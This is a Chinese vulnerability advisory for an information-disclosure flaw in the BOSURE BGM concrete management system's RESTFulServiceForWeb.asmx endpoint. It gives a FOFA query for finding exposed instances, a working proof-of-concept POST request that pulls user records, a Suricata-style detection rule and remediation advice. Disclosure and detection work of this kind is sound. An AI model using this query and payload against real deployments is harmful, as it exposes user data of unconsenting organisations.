博硕BGM-RESTFulServiceForWeb-信息泄露¶

博硕BGM-RESTFulServiceForWeb-信息泄露，导致数据信息泄露或者导致服务器被控制。

影响版本¶

博硕BGM

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="Libs/Platform.lib" && product="BOSURE-BGM预拌砼综合管理系统"

POC/EXP：

POST /Service/RESTFulWebService/RESTFulServiceForWeb.asmx/Do?id= HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

{"Resource":"MethodCluster","Parameter":[["Method","Sky.PlatForm.Core.clsUser.GetData"],["Para","{\"$VER$\":{},\"filter\":{\"OrderBy\":\"DeptId,UserId,CreateDate DESC\"}}"]]}

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"博硕BGM - Sensitive Information Disclosure via RESTFulServiceForWeb.asmx";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/Service/RESTFulWebService/RESTFulServiceForWeb.asmx/Do";
    http.uri; pcre:"/\\?id=/i";
    http.header; content:"Content-Type: application/json";
    http.request_body; pcre:"/\"Resource\"\\s*:\\s*\"MethodCluster\"/i";
    http.request_body; pcre:"/\"Method\"\\s*:\\s*\"Sky\\.PlatForm\\.Core\\.clsUser\\.GetData\"/i";
    metadata:
        service http,
        affected_product "博硕BGM系统",
        vulnerability_type "Sensitive Information Disclosure",
        severity "medium";
    classtype:policy-violation;
    sid:1000670;
    rev:1;
    priority:2;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限，升级至安全版本。